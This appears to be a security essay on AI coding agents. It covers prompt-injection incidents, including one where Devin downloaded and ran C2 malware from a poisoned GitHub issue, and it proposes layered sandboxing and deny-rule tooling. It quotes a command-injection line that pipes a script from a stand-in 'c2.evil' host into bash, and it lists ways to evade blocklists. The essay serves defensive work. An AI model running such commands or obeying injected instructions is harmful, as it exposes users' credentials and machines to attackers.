Your Agent Has Root

“OpenClaw is a security dumpster fire.” — Laurie Voss, npm founding CTO [1]

1. The Opening

In April 2025, security researcher Johann Rehberger spent $500 on a 30-day subscription to Devin AI, Cognition’s autonomous coding agent. He wanted to test a simple hypothesis: what happens when an AI agent encounters a malicious prompt hidden in a GitHub issue?

The answer arrived in seconds. Devin processed the poisoned issue, navigated to an attacker-controlled website, and downloaded a Sliver C2 malware binary. When file permissions prevented execution, Devin did something remarkable: it independently granted itself execute permissions and ran the binary. The attacker now had remote command-and-control access to the system, including all secrets and AWS keys stored on the machine [2].

This was not an exotic exploit chain. It required no zero-day vulnerability, no kernel bypass, no advanced tradecraft. A single poisoned GitHub issue was sufficient.

And Devin is not special. In December 2025, security researcher Ari Marzouk disclosed IDEsaster: over 30 vulnerabilities across Claude Code, Cursor, Windsurf, GitHub Copilot, JetBrains Junie, Zed, Kiro, Roo Code, and Cline. Twenty-four CVEs were assigned. One hundred percent of tested AI coding IDEs were vulnerable [3].

2. The Gold Rush

Eighty-five percent of developers now regularly use AI coding tools [4]. Forty-two percent of committed code is AI-assisted [5]. Microsoft and Google each report that roughly 30% of their code is AI-generated. The transformation happened in under two years.

In February 2025, Andrej Karpathy coined “vibe coding” — describe what you want to an LLM, accept whatever comes out, barely look at the result [6]. It was meant as a playful observation. It became an ideology. Organizations flood with “POC” demos where someone builds a Hello World CRUD app and presents it to management: Look what I can do, and I’m not even a coder. The act of writing software became trivially easy. The hard part — deciding what to build, understanding the domain, maintaining the result — remains exactly as difficult as before. But nobody wants to hear that.

The security controls did not keep pace. Only 14.4% of AI agents go live with full security and IT approval [7]. Eighty-two percent of executives feel confident existing policies protect them — a dangerous mismatch with the reality of what these tools can do when left unconstrained [7].

3. YOLO Mode: The Professional Abdication

The Numbers Don’t Lie

In mid-2025, UpGuard analyzed 18,470 unique Claude Code settings files scraped from public GitHub repositories. The findings are sobering [8]:

Read that last row again. Out of 18,470 configuration files, only 1.1% contained a single deny rule. The remaining 98.9% placed zero restrictions on what their agent could do.

The combined git add + commit + push chain — present in roughly 20% of configurations — means an agent can modify code, commit it, and push it to any repository the developer has access to. Including corporate repositories. Including open-source projects with thousands of downstream consumers. UpGuard specifically flagged that “attackers can capitalize on lax security practices in personal projects to pivot via AI agents to corporate or open-source repositories” [8].

“It’s Annoying to Approve All the Time”

I hear this from colleagues I respect. Professionals who would never skip a code review, who insist on CI/CD pipelines and four-eye principles — but who run their coding agent in YOLO mode because “the approval prompts are annoying.”

The psychology is well-documented. In 2016, NIST researchers studied security fatigue and found it leads to “resignation, loss of control, fatalism, risk minimization, and decision avoidance.” Users resort to “choosing the easiest option, making decisions influenced by immediate motivations, and failing to follow security rules” [9]. In security operations, 52% of alerts are false positives [10]. The fatigue is real.

But the professional response to “too many prompts” is not to remove the prompts. It is to build systems that reduce the prompt count while maintaining the security boundary. Anthropic’s own SRT sandbox reduces permission prompts by 84% [11]. The technology to manage this friction exists. Reaching for --dangerously-skip-permissions is not pragmatism. It is a choice to optimize for convenience over responsibility.

This Is Your Job

When a structural engineer finds the safety calculations tedious, they do not skip them. When an anesthesiologist finds patient monitoring annoying, they do not turn off the alarms. When you run an autonomous agent with unrestricted shell access on a machine connected to production credentials, you are not “moving fast.” You are creating risk for everyone downstream of your work — colleagues, users, your organization.

Just because every backoffice employee can now get a saw does not mean the master carpenter fires the artisans. The tool is not the craft. The judgment is the craft. And part of that judgment is knowing when your tool needs a guard rail.

The OWASP Top 10 for Agentic Applications, published in December 2025 by over 100 security researchers, established the principle of least agency: AI agents should be given the minimum autonomy, tool access, and credential scope required for their task, and no more [12]. This is not a novel idea. It is the principle of least privilege — a foundational concept in computer security for five decades — applied to a new category of software. That we need a new OWASP list to remind developers of this principle tells you how far the baseline has slipped.

4. The Incident Gallery

The following is not a comprehensive list. It is a curated selection of incidents from a single twelve-month period — March 2025 through February 2026 — chosen to illustrate the breadth and depth of the attack surface.

The pattern is unmistakable: every agent, every vendor, every architecture. This is not a bug in any particular implementation. It is a structural property of the design space.

Simon Willison, who tracked these disclosures throughout 2025, identified the “lethal trifecta” — the three capabilities that create catastrophic risk when combined: access to private data, exposure to untrusted content, and external communication ability [22]. Every AI coding agent possesses all three by design.

5. The Structural Problem

The incidents above are not merely the result of laziness or poor configuration. They emerge from three fundamental challenges that make agent security genuinely hard.

The Heterogeneity Trap

Every AI coding agent has its own permission model, its own configuration format, its own enforcement semantics:

If you use two agents — a common scenario for teams that use Copilot in the IDE and Claude Code on the command line — you maintain two separate security configurations. When a policy changes (say, adding ~/.aws to the deny list), you update two files independently, in two different formats, with two different semantics.

N agents times M rules equals N*M manual configuration entries. Each independently editable. Each independently driftable. Each independently auditable. This is the same problem that Infrastructure-as-Code solved for server configuration a decade ago. We are repeating the same mistake with agent configuration in 2026.

Configuration drift in infrastructure security is well-studied: runtime settings diverge from their intended state through manual updates, ad-hoc fixes, and unmanaged changes [24]. The same phenomenon applies to agent security settings. As one analysis puts it: “Identity configurations lag behind evolving agent behavior… Drift often shows up in expanding authority, not just changing outputs” [25].

The Sandbox Gap

Here is the technical insight that most security discussions miss. OS-level sandboxes like Anthropic’s SRT (Sandbox Runtime Tool) enforce restrictions at the kernel level — read() syscalls are blocked, network connections are proxied through domain allowlists. No agent bug, no prompt injection, no hallucination can bypass a kernel-enforced deny [11].

But the sandbox only covers processes spawned by Bash. Built-in agent tools — Read, Write, Edit, Glob, Grep, WebFetch — run inside the agent’s own Node.js process, outside the sandbox entirely:

Bash(cat ~/.aws/credentials)  →  Kernel blocks + Agent blocks  =  TWO layers
Read(~/.aws/credentials)      →  Agent blocks only              =  ONE layer

Anthropic’s own documentation describes built-in tool enforcement as a “best-effort attempt” [26]. Multiple community-reported issues document cases where Read/Write deny rules were not enforced for built-in tools [27][28]. The deny rules are self-imposed constraints enforced by the very software you are trying to restrict. This is not defense in depth. It is a single point of failure.

Why Blocklists Always Fail

The security industry established decades ago that blocklists are structurally inferior to allowlists. Signature-based antivirus detects approximately 57% of attacks [29]. A single JSON encoding trick bypassed every major WAF vendor — Palo Alto, AWS, Cloudflare, F5, Imperva — because none parsed JSON syntax in SQL injection inspection [30]. The attack surface is infinite; the blocklist is finite.

Applied to coding agents: block curl and the LLM uses python3 -c "import urllib...". Block rm and it uses find . -delete. Block cat and it reaches for base64 or xxd. LLMs are non-deterministic — they will find execution paths you did not enumerate.

Trail of Bits proved this definitively in October 2025 with argument injection attacks through whitelisted commands: go test -exec 'bash -c "curl c2.evil | bash"' exploits the pre-approved go test command to achieve arbitrary code execution. They called maintaining comprehensive argument filtering “a cat-and-mouse game of unsupportable proportions” [18].

CISA’s standing recommendation: “Use allowlisting rather than attempting to list and deny every possible permutation of applications in a network environment” [31].

6. One Opinionated Approach: Defense in Depth with Canonical Sources

The problem is not fully solvable at the application level today. Prompt injection remains an open research problem. Built-in tool enforcement depends on agent software quality. New attack vectors — MCP server poisoning, agent-to-agent manipulation, memory context corruption — expand the surface faster than defenses can cover it.

But the problem can be reduced. The approach described here is opinionated, specific, and has its limitations. It addresses two of the three structural problems identified above: the heterogeneity trap and the sandbox gap. It does not claim to solve prompt injection but it makes compromise and exfiltration significantly harder.

Two Layers, Two Enforcement Points

The architecture separates enforcement into two complementary layers:

Layer 1 (OS):   SRT sandbox — kernel-level deny
                Scope: Bash commands and child processes ONLY
                Enforcement: OS kernel (seatbelt / bubblewrap / seccomp)

Layer 2 (App):  Agent permissions — tool-level deny/ask/allow
                Scope: ALL tools (Bash, Read, Write, Edit, WebFetch, ...)
                Enforcement: Agent's internal permission engine

Neither layer alone is sufficient. SRT cannot control built-in tools that run inside the agent process. Agent permissions are enforced in userspace — a single bug negates them (documented: Claude Code GitHub issues #6631, #24846 [27][28]).

Together, they close each other’s gaps. The most dangerous attack vector — arbitrary shell execution via Bash — gets kernel-level protection that is un-bypassable by the agent. Built-in tools get consistent, automatically-generated agent-level protection. The coverage matrix:

The asymmetry is deliberate and honest. Two-layer protection where possible (Bash, the primary vector for arbitrary OS interaction), single-layer where the architecture cannot currently provide more (built-in tools).

The Single Source of Truth

The heterogeneity problem is solved by refusing to maintain per-agent configurations manually. Two canonical files define all security policy:

• ~/.srt-settings.json — filesystem rules (what can be accessed) and network rules (which domains are reachable)
• bash-rules.json — command rules (what can be executed): deny list and ask list

A single command translates these canonical sources into every agent’s native configuration format. The translation is deterministic: given the same inputs, it produces identical output. No runtime state, no randomness, no hand-editing.

The key design decisions:

denyRead implies denyWrite. If a path is sensitive enough to deny reading, it must not be writable either. A denyRead entry for ~/.aws generates deny rules for Read, Write, Edit, and MultiEdit — preventing both credential exfiltration and credential modification.

Lossy mappings are explicit. Copilot CLI has no “ask” equivalent — it only supports deny or allow. When an “ask” rule is translated for Copilot, it maps to deny (the more restrictive option) and emits a warning to stderr. The administrator knows exactly where fidelity is reduced.

Selective merge preserves human work. Agent configuration files contain both machine-managed sections (deny/ask rules, network allowlists) and human-maintained sections (hooks, MCP server permissions, project-specific allows). The merge algorithm replaces only the managed sections. A developer’s custom Bash(./gradlew:*) allow or MCP tool permission survives regeneration.

Drift Detection

The final piece: verification. A diff command compares generated rules against existing agent configurations and reports missing or extra entries. Run it in CI. Run it in a cron job. When someone hand-edits a managed section or a policy update hasn’t propagated, you know immediately — not when the exploit arrives.

$ twsrt diff
claude: 2 missing, 1 extra
  + Bash(terraform)       (missing from existing)
  + Bash(terraform *)     (missing from existing)
  - Bash(docker run:*)    (in existing, not in sources)

The attack surface for human error drops from O(N*M) — N agents times M rules, each maintained independently — to O(M). M rules maintained once, translated everywhere, verified automatically.

7. Limitations

This approach has boundaries:

Built-in tool enforcement remains best-effort. If the agent’s permission engine fails to enforce Read(~/.aws/credentials), there is no OS-level fallback. Built-in tools run inside the agent’s own process, outside the sandbox. The generated deny rules provide defense-in-intent, but enforcement depends on agent software quality.

Prompt injection is unsolved. No amount of configuration management prevents an agent from attempting an action after being manipulated by a malicious prompt. The layers can only block the action if it violates policy. If the injected instruction asks the agent to do something within its allowed scope, no policy will catch it. However, it can make exfiltration a lot harder by blocking domains and bash tools like curl.

Garbage in, garbage out. If the canonical sources are too permissive, the generated configurations will be consistently too permissive. Across all agents. Faithfully. The system guarantees consistency, not correctness.

The claim is not “this solves agent security.” The claim is narrower and more honest: this reduces the configuration management attack surface by an order of magnitude, adds kernel-level protection for the most dangerous vector, and makes drift detectable. That is a meaningful improvement over the status quo of 98.9% of developers running with zero deny rules.

8. The Professional Obligation

The legal landscape is forming. In Moffatt v. Air Canada (2024), a tribunal found a company liable for misinformation provided by its AI chatbot, rejecting the argument that the chatbot was a “separate entity” [32]. The EU AI Act takes effect in August 2026 [33]. NIST launched its AI Agent Standards Initiative in February 2026, soliciting public input on agent security and identity [34]. The Mobley v. Workday case established that AI vendors face direct liability when systems “delegate responsibility” by acting in place of humans [35].

The regulatory framework will catch up. It always does. The question is whether we want to be ahead of it or be made an example by it.

But the argument for taking agent security seriously should not rest on legal compulsion. It should rest on professional identity. We are software engineers. We build systems that other people depend on.

When you grant an autonomous agent unrestricted access to your development environment — to your credentials, your repositories, your production infrastructure — and you do so because configuring the restrictions is “annoying,” you are making a statement about what kind of professional you are.

Technology to manage the friction exists. OS-level sandboxes reduce prompts by 84% while maintaining kernel-enforced security boundaries [11]. Canonical source models with automated translation eliminate the N*M configuration management problem. Drift detection catches unauthorized changes before they become exploits. None of this is theoretical. It runs today.

Act now:

1. Audit your agent permissions. Run cat ~/.claude/settings.json and look at what you have allowed. If you are in the 98.9%, you know what needs to change.
2. Enable the SRT sandbox. It reduces prompts dramatically while providing kernel-level enforcement for Bash commands.
3. Adopt a canonical source model. Whether through automated tooling or disciplined manual process — stop maintaining independent copies of the same security policy across multiple agents. If you want use twsrt.
4. Run drift detection. Regularly. Trust, but verify.
5. Stop using YOLO mode. If the prompts are annoying, fix the system. Do not remove the safety net.

The 45% of AI-generated code that introduces security vulnerabilities [36] is not the agent’s problem. It is our problem. The agent does not have professional obligations. We do.

Security is not overhead on your work. It is our work!

Bibliography

[1] S. Sharwood, “DIY AI bot farm OpenClaw is a ‘security dumpster fire’,” The Register, Feb. 3, 2026. https://www.theregister.com/2026/02/03/openclaw_security_problems

[2] J. Rehberger, “I Spent $500 To Test Devin AI For Prompt Injection,” Embrace The Red, Apr. 2025. https://embracethered.com/blog/posts/2025/devin-i-spent-usd500-to-hack-devin/

[3] A. Marzouk, “IDEsaster: 30+ Vulnerabilities Across AI Coding Tools,” Dec. 2025. Reported in: “Researcher Uncovers 30+ Flaws in AI Coding Tools,” The Hacker News, Dec. 2025. https://thehackernews.com/2025/12/researchers-uncover-30-flaws-in-ai.html

[4] JetBrains, “State of Developer Ecosystem 2025,” Oct. 2025. https://blog.jetbrains.com/research/2025/10/state-of-developer-ecosystem-2025/

[5] Sonar, “State of Code Developer Survey 2026 — Critical Verification Gap in AI Coding,” 2026. https://www.sonarsource.com/company/press-releases/sonar-data-reveals-critical-verification-gap-in-ai-coding/

[6] “Vibe coding,” Wikipedia. https://en.wikipedia.org/wiki/Vibe_coding

[7] Gravitee, “State of AI Agent Security 2026 Report: When Adoption Outpaces Control,” 2026. https://www.gravitee.io/blog/state-of-ai-agent-security-2026-report-when-adoption-outpaces-control

[8] UpGuard, “YOLO Mode: Hidden Risks in Claude Code Permissions,” 2025. https://www.upguard.com/blog/yolo-mode-hidden-risks-in-claude-code-permissions

[9] B. Stanton and M. Theofanos, “Security Fatigue,” IEEE IT Professional, 2016. Reported in: NIST, “Security Fatigue Can Cause Computer Users to Feel Hopeless and Act Recklessly,” Oct. 2016. https://www.nist.gov/news-events/news/2016/10/security-fatigue-can-cause-computer-users-feel-hopeless-and-act-recklessly

[10] IBM, “What Is Alert Fatigue?” https://www.ibm.com/think/topics/alert-fatigue

[11] Anthropic Engineering, “Beyond permission prompts: making Claude Code more secure and autonomous,” 2025. https://www.anthropic.com/engineering/claude-code-sandboxing

[12] OWASP, “Top 10 for Agentic Applications 2026,” Dec. 2025. https://genai.owasp.org/resource/owasp-top-10-for-agentic-applications-for-2026/

[13] Pillar Security, “New Vulnerability in GitHub Copilot and Cursor: How Hackers Can Weaponize Code Agents,” Mar. 2025. https://www.pillar.security/blog/new-vulnerability-in-github-copilot-and-cursor-how-hackers-can-weaponize-code-agents

[14] S. Sharwood, “Vibe coding service Replit deleted production database,” The Register, Jul. 21, 2025. https://www.theregister.com/2025/07/21/replit_saastr_vibe_coding_incident/

[15] “Hacker inserts destructive code in Amazon Q tool as update goes live,” CSO Online, Jul. 2025. https://www.csoonline.com/article/4027963/hacker-inserts-destructive-code-in-amazon-q-as-update-goes-live.html

[16] J. Rehberger, “GitHub Copilot: Remote Code Execution via Prompt Injection,” Embrace The Red, Aug. 2025. https://embracethered.com/blog/posts/2025/github-copilot-remote-code-execution-via-prompt-injection/

[17] S. Willison, “The Summer of Johann,” Aug. 15, 2025. https://simonwillison.net/2025/Aug/15/the-summer-of-johann/

[18] Trail of Bits, “Prompt Injection to RCE in AI Agents,” Oct. 22, 2025. https://blog.trailofbits.com/2025/10/22/prompt-injection-to-rce-in-ai-agents/

[19] A. Khan, “Clinejection,” Feb. 2026. https://adnanthekhan.com/posts/clinejection/

[20] S. Sharwood, “OpenClaw skills marketplace leaky,” The Register, Feb. 5, 2026. https://www.theregister.com/2026/02/05/openclaw_skills_marketplace_leaky_security/

[21] S. Sharwood, “OpenClaw snuck into Cline package,” The Register, Feb. 20, 2026. https://www.theregister.com/2026/02/20/openclaw_snuck_into_cline_package/

[22] S. Willison, “The Lethal Trifecta for AI Agents,” Jun. 16, 2025. https://simonwillison.net/2025/Jun/16/the-lethal-trifecta/

[23] Imperva, “Cursor’s Magic Comes With a Catch: Missing Trust Setting.” https://www.imperva.com/blog/cursors-magic-comes-with-a-catch-missing-trust-setting/

[24] Spacelift, “What is Configuration Drift?” https://spacelift.io/blog/what-is-configuration-drift

[25] Token Security, “AI Agent Security Fails: The Identity Configuration Problem.” https://www.token.security/blog/blog-ai-agent-security-fails-identity-configuration-problem

[26] Anthropic, “Claude Code Security Documentation.” https://code.claude.com/docs/en/security

[27] GitHub Issue #6631, anthropics/claude-code, “Permission deny not enforced for built-in tools.” https://github.com/anthropics/claude-code/issues/6631

[28] GitHub Issue #24846, anthropics/claude-code. https://github.com/anthropics/claude-code/issues/24846

[29] Fidelis Security, “Signature-Based Detection: Overview and Limitations.” https://fidelissecurity.com/threatgeek/network-security/signature-based-detection/

[30] Claroty Team82, “Abusing JSON-Based SQL to Bypass WAF.” https://claroty.com/team82/research/js-on-security-off-abusing-json-based-sql-to-bypass-waf

[31] CISA, Application Allowlisting guidance, referenced in OWASP SQL Injection WAF documentation. https://owasp.org/www-community/attacks/SQL_Injection_Bypassing_WAF

[32] American Bar Association, “BC Tribunal Confirms Companies Remain Liable for Information Provided by AI Chatbot,” Moffatt v. Air Canada, Feb. 2024. https://www.americanbar.org/groups/business_law/resources/business-law-today/2024-february/bc-tribunal-confirms-companies-remain-liable-information-provided-ai-chatbot/

[33] Orrick, “The EU AI Act: 6 Steps to Take Before 2 August 2026,” Nov. 2025. https://www.orrick.com/en/Insights/2025/11/The-EU-AI-Act-6-Steps-to-Take-Before-2-August-2026

[34] NIST, “Announcing AI Agent Standards Initiative for Interoperable and Secure AI,” Feb. 17, 2026. https://www.nist.gov/news-events/news/2026/02/announcing-ai-agent-standards-initiative-interoperable-and-secure

[35] Lathrop GPM, “Liability Considerations for Developers and Users of Agentic AI Systems.” https://www.lathropgpm.com/insights/liability-considerations-for-developers-and-users-of-agentic-ai-systems/

[36] “Vibe Coding Could Cause Catastrophic Explosions in 2026,” The New Stack, 2026. Citing Veracode 2025 report. https://thenewstack.io/vibe-coding-could-cause-catastrophic-explosions-in-2026/